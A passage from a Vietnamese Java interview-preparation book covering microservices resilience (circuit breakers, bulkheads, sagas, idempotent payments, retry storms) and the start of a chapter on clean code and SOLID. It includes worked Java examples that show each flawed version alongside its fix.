Circuit breaker phản ứng theo tỷ lệ lỗi đã quan sát; bulkhead giới hạn số lời gọi đồng thời ngay từ đầu. Nên dùng cả hai. Khi dependency bắt đầu chậm (chưa lỗi), circuit breaker chưa mở vì chưa thấy lỗi, nhưng thread đã bị giữ dần; bulkhead 30 lời gọi đồng thời chặn thiệt hại ở 30 thread. Khi dependency lỗi hẳn, circuit breaker mở và các lời gọi không còn chờ timeout nữa. Hai cơ chế bổ sung nhau: một cái giới hạn tài nguyên, một cái ngắt khi đã chắc là hỏng.
Câu hỏi (Hiểu sâu): Nối kiến thức: thiết kế luồng đặt hàng qua order, inventory, payment sao cho không mất bước và không xử lý trùng.
Saga cho luồng nghiệp vụ, outbox cho việc phát event đáng tin cậy, idempotent consumer cho việc nhận event, Idempotency-Key cho request của client.
1. Client gửi POST /orders kèm Idempotency-Key để double click không tạo hai đơn (mục 7.4).
1. Order-service ghi đơn PENDING và event OrderCreated vào outbox trong một transaction (mục 8.11), nên không có đơn nào bị "quên" gửi event.
1. Inventory-service nhận event, dùng eventId làm khóa trong bảng processed_message cùng transaction với việc giữ hàng (mục 8.10), nên event giao lại không trừ kho hai lần. Trừ kho bằng atomic update (mục 6.3).
1. Payment lỗi thì orchestrator phát lệnh bù trừ, các compensation cũng idempotent theo sagaId.
Câu hỏi (Hiểu sâu): Distributed monolith là gì? Dấu hiệu nhận biết?
Distributed monolith là hệ thống chia thành nhiều service nhưng vẫn gắn chặt như một khối, nên mang nhược điểm của cả hai mô hình. Dấu hiệu:
1. Sửa một tính năng phải deploy 3 service cùng lúc theo đúng thứ tự.
1. Các service đọc ghi chung một database hoặc chung bảng.
1. Một request đi qua chuỗi 5–6 lời gọi đồng bộ, một service chết là cả luồng chết.
1. Dùng chung một thư viện "common" chứa entity, đổi một field phải build lại tất cả.
Cách chữa: gộp các service luôn đi cùng nhau, tách database, chuyển lan truyền trạng thái sang event.
Câu hỏi (Hiểu sâu): Chuỗi 5 service nối tiếp, mỗi service availability 99,9%. Availability tổng là bao nhiêu và bạn cải thiện thế nào?
Khoảng 99,5%, vì availability của chuỗi nối tiếp là tích: 0,999^5 ≈ 0,995; thời gian ngừng mỗi tháng tăng từ khoảng 43 phút lên khoảng 216 phút. Cải thiện: bỏ các lời gọi đồng bộ không cần thiết (dùng event, giữ bản sao dữ liệu cần đọc), gọi song song thay vì tuần tự khi các lời gọi độc lập, có fallback để một service phụ lỗi không làm hỏng cả request (ví dụ không lấy được gợi ý sản phẩm thì bỏ khối gợi ý), và cache kết quả của service ít thay đổi.
Câu hỏi (Thực chiến): Payment-gateway của đối tác có p99 tăng từ 200ms lên 8 giây. Service của bạn bắt đầu trả 503 cho cả những API không liên quan. Bạn xử lý thế nào?
Đây là thread pool cạn vì lời gọi chậm chiếm hết thread; chữa cháy bằng timeout ngắn và bulkhead, rồi xem lại thiết kế đồng bộ.
1. Xác nhận: metric thread Tomcat bận 200/200, thread dump thấy hàng trăm thread đang chờ ở PaymentClient, connection pool HTTP tới đối tác đầy.
1. Chữa cháy: giảm read timeout xuống khoảng 2 giây, bật bulkhead (ví dụ tối đa 40 lời gọi đồng thời tới đối tác), circuit breaker với slow-call-rate-threshold để coi lời gọi chậm như lỗi.
1. Trải nghiệm: lời gọi bị từ chối trả "thanh toán đang được xử lý", đơn ở trạng thái chờ, có job hỏi lại trạng thái giao dịch với đối tác.
1. Dài hạn: chuyển bước gọi đối tác sang bất đồng bộ (queue + worker riêng), tách thread pool cho đối tác, alert theo p99 của từng dependency.
	CÂU HỎI ĐÀO SÂU
Vì sao không chỉ tăng số thread Tomcat lên 1.000? Vì đó chỉ kéo dài thời gian trước khi sập: 1.000 thread cũng bị lấp đầy sau vài giây nếu mỗi lời gọi chờ 8 giây, trong khi mỗi thread tốn bộ nhớ Stack và CPU chuyển ngữ cảnh. Virtual thread (Java 21) giảm chi phí mỗi thread nhưng không bỏ được nhu cầu timeout và bulkhead.



Câu hỏi (Thực chiến): Sau khi inventory-service được khởi động lại, nó lập tức sập lần nữa vì quá tải. Log cho thấy lượng request gấp 10 lần bình thường. Nguyên nhân và cách xử lý?
Đây là retry storm: các client đã tích lũy retry trong lúc service chết và cùng dội vào khi nó vừa sống lại, cộng thêm retry nhân lên qua nhiều tầng.
1. Nguyên nhân thường gặp: retry ở mọi tầng (gateway 3, order 3, inventory client 3 lần), không có jitter, circuit breaker không có hoặc HALF_OPEN cho quá nhiều lời gọi thử.
1. Xử lý ngay: rate limit ở gateway, tạm tắt retry ở tầng ngoài, khởi động lại dần từng instance (warm-up) thay vì cả cụm cùng lúc.
1. Phòng ngừa: chỉ retry ở một tầng, có jitter, có "retry budget" (retry không vượt khoảng 10–20% số request), circuit breaker ở phía client để cho service thời gian hồi.
Câu hỏi (Thực chiến): Gọi API thanh toán bị timeout. Bạn không biết khách đã bị trừ tiền chưa. Hệ thống của bạn xử lý thế nào?
Timeout nghĩa là "không biết", không phải "thất bại"; đơn phải chuyển sang trạng thái UNKNOWN/PENDING rồi hỏi lại đối tác, không được tự hủy cũng không được tự trả lại tiền.
1. Mỗi lần thanh toán gửi kèm mã giao dịch duy nhất do mình sinh (idempotency key với đối tác).
1. Timeout: lưu đơn ở PAYMENT_PENDING, không báo lỗi cho khách, hiển thị "đang xác nhận".
1. Job định kỳ gọi API tra cứu giao dịch theo mã đó: thành công thì chuyển PAID, thất bại thì cho phép thanh toán lại, chưa có thông tin thì hỏi lại sau.
1. Nhận webhook từ đối tác nếu có, xử lý idempotent.
1. Cuối ngày đối soát với file sao kê của đối tác.
	BẪY THƯỜNG GẶP
Retry POST /charge với một mã giao dịch mới sau timeout. Nếu lần đầu thật ra đã thành công, khách bị trừ tiền hai lần.



Câu hỏi (Thực chiến): Đơn hàng tạo thành công nhưng tồn kho không bao giờ bị trừ, xảy ra khoảng 1 đơn trên 5.000. Bạn điều tra thế nào?
Tỷ lệ nhỏ và ngẫu nhiên gợi ý event bị mất ở ranh giới giữa hai hệ thống: dual write hoặc consumer bỏ qua message.
1. Kiểm tra cách phát event: nếu order-service commit DB rồi kafkaTemplate.send() không có outbox, những lần Kafka lỗi hoặc pod bị kill giữa hai bước sẽ mất event. Sửa bằng outbox.
1. Kiểm tra consumer: có bắt exception rồi nuốt (log và return) không, có commit offset trước khi xử lý không, có message nào trong DLT không.
1. Kiểm tra chống trùng: đánh dấu "đã xử lý" ở transaction riêng trước khi xử lý sẽ khiến message lỗi lần đầu bị bỏ qua mãi mãi.
1. Tra theo traceId hoặc orderId của các đơn lỗi để thấy event dừng ở đâu. Thêm job đối soát "đơn CONFIRMED mà không có bản ghi giữ hàng" để phát hiện sớm.
Câu hỏi (Thực chiến): Thiết kế nhỏ: service gửi thông báo (email, SMS, push) cho 2 triệu user mỗi ngày.
Dùng queue để tách việc tạo thông báo khỏi việc gửi, worker riêng cho từng kênh, retry có backoff và chống gửi trùng.
1. Ước lượng: 2 triệu ÷ 100.000 giây ≈ 20 thông báo/giây trung bình; chiến dịch marketing có thể gửi 1 triệu trong 10 phút, khoảng 1.700/giây.
1. Luồng: các service phát event (OrderShipped), notification-service nhận, chọn template và kênh theo cài đặt của user, ghi bản ghi notification(id, user_id, channel, status) rồi đẩy vào topic riêng từng kênh.
1. Worker mỗi kênh tôn trọng giới hạn của nhà cung cấp (ví dụ SMS 100 tin/giây) bằng rate limit, retry lỗi tạm thời, lỗi vĩnh viễn (số điện thoại sai) thì đánh dấu thất bại.
1. Chống trùng bằng notification.id duy nhất; SMS tốn tiền nên kiểm tra trạng thái trước khi gửi lại.
1. Tách topic ưu tiên: OTP không được chờ sau 1 triệu tin marketing.
Câu hỏi (Đọc code): Cấu hình Resilience4j dưới đây có retry 3 lần nhưng log chỉ thấy gọi 1 lần. Vì sao?
	@Service
public class InventoryClient {
    // ... fields and constructor omitted
 
    @Retry(name = "inventory")
    @CircuitBreaker(name = "inventory", fallbackMethod = "fallback")
    public StockDto getStock(String sku) {
        return restClient.get().uri("/stocks/{sku}", sku).retrieve().body(StockDto.class);
    }
 
    private StockDto fallback(String sku, Throwable ex) { return StockDto.unknown(sku); }
}



Đáp án:
Fallback đặt ở @CircuitBreaker, là tầng bên trong @Retry, nên exception bị fallback nuốt ngay lần đầu và @Retry nhận về kết quả bình thường.
1. Thứ tự mặc định của Resilience4j: Retry bọc ngoài CircuitBreaker. Lần gọi đầu lỗi, CircuitBreaker gọi fallback và trả StockDto.unknown(sku); với Retry, đó là một lời gọi thành công nên không thử lại.
1. Sửa: chuyển fallbackMethod sang @Retry (tầng ngoài cùng), như mẫu ở mục 9.4. Khi đó Retry thấy exception, thử đủ 3 lần, hết lượt mới rơi vào fallback.
Câu hỏi (Đọc code): Client dưới đây thiếu gì, và hậu quả trên production là gì?
	@Configuration
public class ClientConfig {
    @Bean
    RestClient paymentClient(RestClient.Builder builder) {
        return builder.baseUrl("https://partner-pay.example").build(); // no timeouts configured
    }
}



Đáp án:
Không đặt connect timeout và read timeout, nên khi đối tác treo, thread gọi sẽ chờ theo mặc định của HTTP client bên dưới, có thể rất lâu hoặc vô hạn.
1. Hậu quả: như kịch bản ở mục 9.4, 200 thread Tomcat bị giữ trong vài giây, service trả 503 cho mọi API.
1. Sửa: cấu hình request factory có timeout, ví dụ SimpleClientHttpRequestFactory với setConnectTimeout(Duration.ofSeconds(1)) và setReadTimeout(Duration.ofSeconds(2)), rồi builder.requestFactory(factory); kèm bulkhead và circuit breaker cho lời gọi này.
Câu hỏi (Đọc code): Compensation dưới đây có vấn đề gì khi message bị giao lại?
	@Component
public class StockCompensation {
    // ... fields and constructor omitted
 
    @Transactional
    @KafkaListener(topics = "release-stock", groupId = "inventory")
    public void on(ReleaseStock cmd) {
        Inventory inv = repo.findBySku(cmd.sku()).orElseThrow();
        inv.setAvailable(inv.getAvailable() + cmd.qty()); // give the stock back
    }
}



Đáp án:
Compensation không idempotent: nếu lệnh release-stock bị giao lại (at-least-once), tồn kho được cộng hai lần và kho "đẻ" ra hàng không có thật.
1. Ví dụ: giữ 1 hàng (5 → 4), thanh toán lỗi, nhả hàng (4 → 5), message bị giao lại sau rebalance, nhả lần nữa (5 → 6).
1. Ngoài ra đọc rồi ghi (get rồi set) bị lost update khi có giao dịch khác cùng lúc.
1. Sửa: lưu bản ghi giữ hàng reservation(order_id, sku, qty, status); compensation chạy UPDATE reservation SET status = 'RELEASED' WHERE order_id = ? AND status = 'RESERVED', chỉ khi cập nhật được 1 dòng mới cộng lại kho bằng atomic update SET available = available + ?.
Câu hỏi (Đọc code): Vòng retry dưới đây gọi API thanh toán. Hãy chỉ ra các lỗi.
	@Service
public class ChargeService {
    // ... fields and constructor omitted
 
    public ChargeResult charge(ChargeRequest req) {
        for (int i = 0; i < 5; i++) {
            try {
                return paymentApi.post("/charges", req);   // POST without idempotency key
            } catch (Exception e) {
                // try again immediately
            }
        }
        throw new IllegalStateException("payment failed");
    }
}



Đáp án:
Có bốn lỗi: retry một POST không idempotent, retry mọi exception, không backoff và jitter, và nuốt mất nguyên nhân lỗi.
1. POST /charges bị timeout có thể đã trừ tiền; gọi lại tạo giao dịch mới, khách có thể bị trừ tới 5 lần. Phải gửi idempotency key (cùng key cho mọi lần thử) hoặc tra cứu trạng thái trước khi thử lại.
1. catch (Exception e) retry cả lỗi 400 (thẻ sai, số tiền âm), vô ích.
1. Thử lại ngay lập tức 5 lần trong vài mili giây dội thêm tải vào đối tác đang có vấn đề.
1. Exception cuối không kèm cause, khi điều tra không biết lỗi thật là gì.
1. Sửa: dùng @Retry của Resilience4j chỉ cho lỗi tạm thời, có backoff và jitter, idempotency key cố định cho một ý định thanh toán, và xử lý timeout như trạng thái "chưa rõ" (xem câu hỏi thực chiến về timeout thanh toán).
Câu hỏi (Đọc code): Đọc thiết kế: báo cáo doanh thu được làm như dưới đây. Rủi ro là gì?
	report-service  --(JDBC, read-only user)-->  order DB    : SELECT ... FROM orders JOIN order_items
report-service  --(JDBC, read-only user)-->  payment DB  : SELECT ... FROM payments
report-service  joins both results in memory, runs every 5 minutes on the primary



Đáp án:
Report-service đọc thẳng database của hai service khác, phá vỡ database per service, và chạy truy vấn nặng trên primary.
1. Order-team đổi tên cột total thành total_amount là báo cáo vỡ, dù API của order-service không đổi. Hai team bị buộc chặt vào schema của nhau.
1. Truy vấn JOIN lớn mỗi 5 phút trên primary tranh tài nguyên với luồng đặt hàng, có thể làm chậm checkout.
1. Sửa: order và payment phát event (hoặc CDC) sang một kho dữ liệu báo cáo riêng (data warehouse, hoặc read model của report-service); nếu tạm thời phải đọc DB thì đọc từ replica, qua view được hai bên thống nhất như một hợp đồng.
9.12 Tóm tắt trọng tâm
1. Microservices tối ưu khả năng deploy và scale độc lập của nhiều team, không làm request nhanh hơn, vì mỗi lời gọi hàm trở thành một lời gọi mạng có thể lỗi.
1. Team nhỏ, nghiệp vụ chưa rõ ranh giới thì chọn modular monolith, vì nó giữ được transaction ACID mà vẫn sẵn ranh giới để tách sau.
1. Chuỗi gọi đồng bộ làm availability giảm theo phép nhân (5 service 99,9% còn khoảng 99,5%), nên lan truyền thay đổi trạng thái bằng event.
1. Mọi lời gọi ra ngoài phải có timeout, vì không có timeout thì một dependency treo sẽ giữ hết thread và kéo sập cả service.
1. Retry chỉ cho lỗi tạm thời và thao tác idempotent, có backoff và jitter, và chỉ ở một tầng, nếu không sẽ gây trừ tiền hai lần hoặc retry storm.
1. Circuit breaker có ba trạng thái CLOSED, OPEN, HALF_OPEN; nó fail nhanh khi dependency đang hỏng để không phí tài nguyên và cho dependency hồi phục.
1. Bulkhead giới hạn số lời gọi đồng thời tới từng dependency, nên một dependency chậm chỉ chiếm được phần tài nguyên đã chia cho nó.
1. 2PC bị tránh vì blocking khi coordinator chết và nhiều thành phần không hỗ trợ; Saga thay bằng chuỗi local transaction cộng compensation.
1. Compensation không phải rollback: nó chạy sau khi dữ liệu đã bị thấy, nên phải idempotent, retry được và có đường xử lý thủ công.
1. CAP chỉ nói về lúc mạng chia cắt: chọn từ chối phục vụ (C) hay phục vụ dữ liệu có thể cũ (A); tiền bạc nghiêng về C, like và giỏ hàng nghiêng về A.
1. Trace id sinh ở cửa vào, truyền qua HTTP header và message header, in vào mọi dòng log qua MDC, nhờ đó một truy vấn log ghép được cả hành trình request.
1. Mỗi service sở hữu database riêng để đổi schema không làm vỡ service khác; cần dữ liệu thì gọi API hoặc giữ bản sao qua event.
1. Bài system design được chấm theo cách suy nghĩ: làm rõ yêu cầu, ước lượng bằng số, rồi mới chọn công nghệ và nói rõ trade-off.
1. Ước lượng dùng một ngày khoảng 100.000 giây, nhân 3–10 cho đỉnh, và so với khả năng từng tầng để quyết định có cần cache, queue, sharding hay không.
9.13 Checklist ôn tập
1. Nêu được 3 lý do không nên dùng microservices và định nghĩa modular monolith.
1. Phân biệt sync và async, biết vì sao chuỗi gọi đồng bộ dài làm giảm availability.
1. Giải thích vai trò API Gateway, service discovery (client-side và Kubernetes), config tập trung.
1. Giải thích timeout, retry có backoff và jitter, circuit breaker 3 trạng thái, bulkhead, rate limit.
1. Nói được nhược điểm 2PC, so sánh choreography và orchestration, cho ví dụ compensation.
1. Phát biểu CAP đúng: khi partition thì chọn C hoặc A; biết PACELC.
1. Mô tả truyền trace id qua HTTP và Kafka, vai trò MDC và OpenTelemetry.
1. Giải thích database per service và cách lấy dữ liệu của service khác.
1. Thuộc khung 7 bước làm bài system design và tự ước lượng QPS, dung lượng.
1. Trình bày lại được bài URL shortener và bài flash sale trong 15 phút mỗi bài.
Chương 10. Clean Code, SOLID, Design Patterns và Testing
Fresher thuộc định nghĩa SOLID; người 2–4 năm phải chỉ ra được vi phạm SOLID trong chính code dự án mình và giải thích vì sao sửa như vậy. Tôi thường không hỏi "Strategy pattern là gì" mà đưa một đoạn if-else 200 dòng và hỏi "bạn sẽ refactor thế nào, và khi nào không nên refactor". Testing cũng vậy: tôi muốn biết bạn viết test để tự tin sửa code, không phải để đạt 80% coverage cho qua cổng CI.
	NGƯỜI PHỎNG VẤN MUỐN KIỂM TRA
1. Hiểu SOLID qua ví dụ thật, phân biệt được DIP, DI và IoC.
1. Nhận ra pattern Spring đang dùng bên dưới (Proxy, Template Method, Observer, Factory) và áp dụng Strategy, Builder đúng chỗ.
1. Biết khi nào pattern là over-engineering.
1. Viết unit test với JUnit 5 và Mockito rõ ràng; chọn đúng loại test slice của Spring Boot.
1. Có tiêu chí rõ ràng khi review code.



10.1 Clean code ở mức thực dụng
Clean code không phải là thẩm mỹ, mà là chi phí thay đổi code. Những điều tôi thấy tạo khác biệt nhất:
1. Tên nói lên ý định: calculateShippingFee() thay vì process(), activeUsers thay vì list2.
1. Method ngắn, một mức trừu tượng; nếu phải viết comment "bước 1, bước 2" thì đó là tín hiệu tách method.
1. Return sớm (guard clause) thay vì lồng if 4 tầng.
1. Không nuốt exception: catch (Exception e) {} là lỗi nghiêm trọng, không phải lỗi phong cách.
1. Không magic number: if (status == 3) phải thành enum hoặc hằng số có tên.
1. Bất biến khi có thể: record cho DTO, final cho field, List.copyOf khi trả collection ra ngoài.
Ví dụ: guard clause, magic number và tên có ý nghĩa
Hai thuật ngữ cần hiểu trước. Guard clause (mệnh đề chặn) là câu if đặt ở đầu method để loại sớm các trường hợp không hợp lệ rồi return hoặc ném exception ngay, nhờ đó phần logic chính không bị lồng trong nhiều tầng if. Magic number là một con số viết thẳng vào code mà người đọc không biết ý nghĩa, như 3 trong status == 3. Đoạn code dưới đây tính phí vận chuyển theo hai cách: bản cũ lồng if và dùng số trần, bản mới dùng guard clause, enum và hằng số có tên.
	public class ShippingFeeDemo {
    // Before: vague name, nested ifs, magic numbers
    static int process(int status, int weightGram, boolean vip) {
        int fee = 0;
        if (status == 3) {
            if (weightGram > 0) {
                if (vip) { fee = 0; } else { fee = weightGram > 2000 ? 50000 : 30000; }
            }
        }
        return fee;
    }
 
    enum OrderStatus { NEW, PAID, CANCELLED, READY_TO_SHIP }
    static final int HEAVY_THRESHOLD_GRAM = 2_000;
    static final int HEAVY_FEE = 50_000, STANDARD_FEE = 30_000;
 
    // After: intention-revealing name, guard clauses, named constants
    static int calculateShippingFee(OrderStatus status, int weightGram, boolean vip) {
        if (status != OrderStatus.READY_TO_SHIP) return 0;
        if (weightGram <= 0) throw new IllegalArgumentException("weight must be positive: " + weightGram);
        if (vip) return 0;
        return weightGram > HEAVY_THRESHOLD_GRAM ? HEAVY_FEE : STANDARD_FEE;
    }
 
    public static void main(String[] args) {
        System.out.println(process(3, 2500, false));                                      // prints: 50000
        System.out.println(calculateShippingFee(OrderStatus.READY_TO_SHIP, 2500, false)); // prints: 50000
        System.out.println(process(3, -1, false));                                        // prints: 0 (bug hidden)
    }
}



Giải thích: với dữ liệu hợp lệ, hai method cho cùng kết quả 50000. Khác biệt nằm ở chi phí đọc và sửa:
1. Bản cũ: người đọc phải tra xem 3 nghĩa là gì, và phải giữ trong đầu ba tầng if để biết nhánh nào trả gì. Khi nghiệp vụ thêm trạng thái mới và đánh số lại, mọi chỗ viết == 3 âm thầm sai.
1. Bản cũ trả 0 cho cân nặng âm, tức là một đơn nhập sai dữ liệu được miễn phí vận chuyển mà không ai biết. Bản mới ném IllegalArgumentException ngay tại chỗ, lỗi dữ liệu lộ ra sớm.
1. Bản mới đọc từ trên xuống như một danh sách quy tắc: không phải trạng thái chờ giao thì 0, cân nặng sai thì báo lỗi, VIP thì miễn phí, còn lại tính theo ngưỡng. Thêm quy tắc mới là thêm một dòng, không phải thêm một tầng lồng.
10.2 SOLID qua ví dụ Java
	NHẮC LẠI KIẾN THỨC
SOLID được xây trên các tính chất OOP ở N1.5: đóng gói (giấu dữ liệu sau method), kế thừa (class con dùng lại class cha) và đa hình (cùng một lời gọi, mỗi object xử lý theo cách riêng). Các nguyên tắc O, I, D dựa nhiều vào interface và composition ở N1.7: interface là "hợp đồng" chỉ nói làm gì, class implement nói làm thế nào, còn composition là giữ object khác làm field thay vì kế thừa nó.



Cả năm nguyên tắc cùng trả lời một câu hỏi: khi yêu cầu thay đổi, phải sửa bao nhiêu chỗ và có nguy cơ làm hỏng chỗ nào đang chạy ổn. Mỗi nguyên tắc dưới đây có cặp code vi phạm và code sửa, đều chạy được bằng Java thuần (không cần Spring).
S – Single Responsibility
Một class chỉ nên có một lý do để thay đổi, tức là chỉ phục vụ một "tác nhân" nghiệp vụ. Dấu hiệu vi phạm trong dự án thật: OrderService dài 2.000 dòng vừa tính giá, vừa gửi email, vừa xuất PDF, vừa gọi đối tác vận chuyển; constructor inject 12 dependency; mỗi lần sửa template email phải chạy lại toàn bộ test của đơn hàng. Cách sửa: tách PricingService, OrderNotifier, InvoiceExporter, để OrderService điều phối.
Nói bằng lời thường: nếu bạn mô tả class bằng một câu có nhiều chữ "và" ("tính giá và lưu đơn và gửi email"), class đó đang có nhiều lý do để thay đổi. Đoạn code dưới đây gộp ba việc vào một method.
	import java.util.ArrayList;
import java.util.List;
 
public class SrpViolation {
    // One class, three reasons to change: pricing rules, storage, email wording
    static class OrderService {
        final List<String> db = new ArrayList<>();
        int place(String sku, int qty, int unitPrice, String email) {
            int total = qty * unitPrice;
            if (qty >= 10) total = total * 90 / 100;                              // pricing rule
            db.add(sku + " x" + qty + " = " + total);                             // persistence
            System.out.println("To " + email + ": your order total is " + total); // notification
            return total;
        }
    }
 
    public static void main(String[] args) {
        new OrderService().place("SKU-1", 10, 20_000, "an@shop.vn");
        // prints: To an@shop.vn: your order total is 180000
    }
}



Giải thích: code chạy đúng và in tổng tiền 180000 (giảm 10% cho đơn từ 10 sản phẩm). Vấn đề chỉ lộ ra khi yêu cầu thay đổi. Phòng marketing muốn đổi ngưỡng giảm giá, đội vận hành muốn đổi nội dung email, đội hạ tầng muốn lưu sang bảng khác: cả ba cùng sửa một method, dễ conflict khi merge, và mỗi lần sửa email lại có nguy cơ làm sai công thức tính tiền. Muốn test riêng quy tắc giảm giá cũng phải dựng cả phần lưu trữ lẫn gửi email. Bản sửa tách mỗi lý do thay đổi ra một class:
	public class SrpFixed {
    static class PricingService {                       // changes only when pricing rules change
        int total(int qty, int unitPrice) {
            int total = qty * unitPrice;
            return qty >= 10 ? total * 90 / 100 : total;
        }
    }
    static class OrderNotifier {                        // changes only when the message changes
        void orderPlaced(String email, int total) {
            System.out.println("To " + email + ": your order total is " + total);
        }
    }
    static class OrderService {                         // only coordinates, owns no rule
        private final PricingService pricing;
        private final OrderNotifier notifier;
        OrderService(PricingService pricing, OrderNotifier notifier) {
            this.pricing = pricing;
            this.notifier = notifier;
        }
        int place(String sku, int qty, int unitPrice, String email) {
            int total = pricing.total(qty, unitPrice);
            notifier.orderPlaced(email, total);
            return total;
        }
    }
 
    public static void main(String[] args) {
        var service = new OrderService(new PricingService(), new OrderNotifier());
        service.place("SKU-1", 10, 20_000, "an@shop.vn");       // prints: To an@shop.vn: your order total is 180000
        System.out.println(new PricingService().total(5, 20_000)); // prints: 100000
    }
}



Giải thích: kết quả in ra y hệt bản cũ, nhưng giờ quy tắc giảm giá test được chỉ bằng một dòng new PricingService().total(5, 20_000) mà không cần email hay DB. Đổi nội dung email chỉ chạm OrderNotifier. SRP không có nghĩa là "mỗi class một method": PricingService có thể có nhiều method, miễn chúng cùng phục vụ một nhóm quy tắc về giá.
O – Open/Closed
Mở để mở rộng, đóng để sửa đổi: thêm hành vi mới bằng cách thêm class mới thay vì sửa một khối switch ở chỗ đã chạy ổn. Kỹ thuật chính là đa hình qua interface, thường hiện thực bằng Strategy (mục 10.4). Đừng áp dụng máy móc: nếu chỉ có 2 nhánh và không có dấu hiệu tăng thêm thì if-else là đủ.
Đoạn code dưới đây tính chiết khấu theo loại khách hàng bằng một khối switch. Nó chạy tốt cho tới khi có yêu cầu thêm loại khách hàng mới.
	public class OcpViolation {
    static int discount(String customerType, int amount) {
        switch (customerType) {
            case "REGULAR": return 0;
            case "VIP":     return amount * 10 / 100;
            // new type "STUDENT" means editing this already-tested method again
            default: throw new IllegalArgumentException("Unknown type: " + customerType);
        }
    }
 
    public static void main(String[] args) {
        System.out.println(discount("VIP", 1_000_000)); // prints: 100000
        try {
            discount("STUDENT", 1_000_000);
        } catch (IllegalArgumentException e) {
            System.out.println(e.getMessage());           // prints: Unknown type: STUDENT
        }
    }
}



Giải thích: khi phòng kinh doanh thêm loại "STUDENT", cách duy nhất là mở method discount ra sửa. Method này đã chạy ổn trên production; mỗi lần sửa là một lần có thể gõ nhầm làm hỏng nhánh VIP, và khối switch thường bị copy ở nhiều nơi (tính giá, hiển thị, báo cáo) nên phải nhớ sửa đủ cả. Bản dưới đây đưa mỗi loại chiết khấu vào một class implement cùng interface:
	import java.util.List;
 
public class OcpFixed {
    interface DiscountPolicy {
        boolean supports(String customerType);
        int discount(int amount);
    }
    record NoDiscount() implements DiscountPolicy {
        public boolean supports(String t) { return t.equals("REGULAR"); }
        public int discount(int amount) { return 0; }
    }
    record VipDiscount() implements DiscountPolicy {
        public boolean supports(String t) { return t.equals("VIP"); }
        public int discount(int amount) { return amount * 10 / 100; }
    }
    // New requirement: add one class, existing classes stay untouched
    record StudentDiscount() implements DiscountPolicy {
        public boolean supports(String t) { return t.equals("STUDENT"); }
        public int discount(int amount) { return Math.min(amount * 5 / 100, 50_000); }
    }
 
    static int discount(List<DiscountPolicy> policies, String type, int amount) {
        return policies.stream().filter(p -> p.supports(type)).findFirst()
                .orElseThrow(() -> new IllegalArgumentException("Unknown type: " + type))
                .discount(amount);
    }
 
    public static void main(String[] args) {
        List<DiscountPolicy> policies = List.of(new NoDiscount(), new VipDiscount(), new StudentDiscount());
        System.out.println(discount(policies, "VIP", 1_000_000));     // prints: 100000
        System.out.println(discount(policies, "STUDENT", 1_000_000)); // prints: 50000
    }
}



Giải thích: thêm loại khách hàng mới giờ là thêm một class StudentDiscount và đưa nó vào danh sách; NoDiscount, VipDiscount và hàm discount không bị sửa một ký tự nào, nên các test cũ vẫn giữ nguyên giá trị. Sinh viên được giảm 5% nhưng tối đa 50.000, nên với 1.000.000 kết quả là 50000. Trong Spring, danh sách policies chính là List<DiscountPolicy> được inject tự động (xem Strategy ở mục 10.4).
L – Liskov Substitution
Ở mọi chỗ dùng class cha, thay bằng class con thì chương trình vẫn đúng. Ví dụ kinh điển dưới đây cho Square kế thừa Rectangle vì "hình vuông là hình chữ nhật", và code viết cho Rectangle cho kết quả sai khi nhận vào một Square.
	class Rectangle {
    protected int width, height;
    void setWidth(int w)  { this.width = w; }   // implicit contract: changes width only
    void setHeight(int h) { this.height = h; }  // implicit contract: changes height only
    int area() { return width * height; }
}
 
class Square extends Rectangle {
    // keeps "all sides equal" by changing both sides -> breaks the parent's contract
    @Override void setWidth(int w)  { this.width = w; this.height = w; }
    @Override void setHeight(int h) { this.width = h; this.height = h; }
}
 
// Client code written for Rectangle:
// r.setWidth(5); r.setHeight(4); expects area() == 20, but Square returns 16



Giải thích: với Rectangle, hai lệnh setWidth(5) rồi setHeight(4) cho hình 5 x 4, diện tích 20. Truyền một Square vào cùng đoạn code: setWidth(5) biến nó thành 5 x 5, rồi setHeight(4) biến nó thành 4 x 4, diện tích 16. Code không lỗi biên dịch, không ném exception, chỉ âm thầm sai. Nguyên nhân là Square thay đổi hành vi mà client của Rectangle dựa vào ("đặt chiều cao không làm đổi chiều rộng"). Hình vuông "là" hình chữ nhật trong toán học, nhưng không thay thế được về hành vi khi có setter. Cách sửa: cả hai implement interface Shape { int area(); } và là object bất biến (record Square(int side)), không kế thừa nhau.
Dấu hiệu vi phạm Liskov trong code thật: class con ném UnsupportedOperationException cho method của cha, class con làm yếu điều kiện đầu ra hoặc siết điều kiện đầu vào, hoặc code client phải instanceof để xử lý riêng từng class con.
Bản chạy được dưới đây đặt hai class vào cùng một đoạn code client để bạn thấy kết quả sai bằng số cụ thể.
	public class LspDemo {
    static class Rectangle {
        protected int width, height;
        void setWidth(int w)  { this.width = w; }
        void setHeight(int h) { this.height = h; }
        int area() { return width * height; }
    }
    static class Square extends Rectangle {
        @Override void setWidth(int w)  { this.width = w; this.height = w; }
        @Override void setHeight(int h) { this.width = h; this.height = h; }
    }
    // Client code written against Rectangle's contract
    static int resizeAndArea(Rectangle r) {
        r.setWidth(5);
        r.setHeight(4);
        return r.area();
    }
 
    public static void main(String[] args) {
        System.out.println(resizeAndArea(new Rectangle())); // prints: 20
        System.out.println(resizeAndArea(new Square()));    // prints: 16 (silently wrong)
    }
}



Giải thích: cùng một hàm resizeAndArea, truyền Rectangle cho 20, truyền Square cho 16. Hậu quả khi yêu cầu thay đổi: giả sử sau này có tính năng "tính tiền sơn theo diện tích" viết cho Rectangle, ai đó truyền Square vào và hóa đơn sai mà không có exception nào báo. Bản sửa bỏ kế thừa, dùng interface chung và object bất biến:
	import java.util.List;
 
public class LspFixed {
    sealed interface Shape permits Rect, Square {
        int area();
    }
    record Rect(int width, int height) implements Shape {
        public int area() { return width * height; }
        Rect withHeight(int h) { return new Rect(width, h); } // returns a new object, no hidden side effect
    }
    record Square(int side) implements Shape {
        public int area() { return side * side; }
    }
    static int totalArea(List<Shape> shapes) {
        return shapes.stream().mapToInt(Shape::area).sum(); // correct for every implementation
    }
 
    public static void main(String[] args) {
        System.out.println(new Rect(5, 5).withHeight(4).area());               // prints: 20
        System.out.println(totalArea(List.of(new Rect(5, 4), new Square(4)))); // prints: 36
    }
}



Giải thích: Square không còn setter nào để phá, nên không có hợp đồng nào bị vi phạm. Mọi code dùng Shape chỉ dựa vào area(), và cả hai implementation đều trả đúng diện tích của chính nó: 20 + 16 = 36. Muốn "đổi chiều cao" thì withHeight tạo object mới, người gọi thấy rõ mình đang nhận một hình khác.
	GHI CHÚ
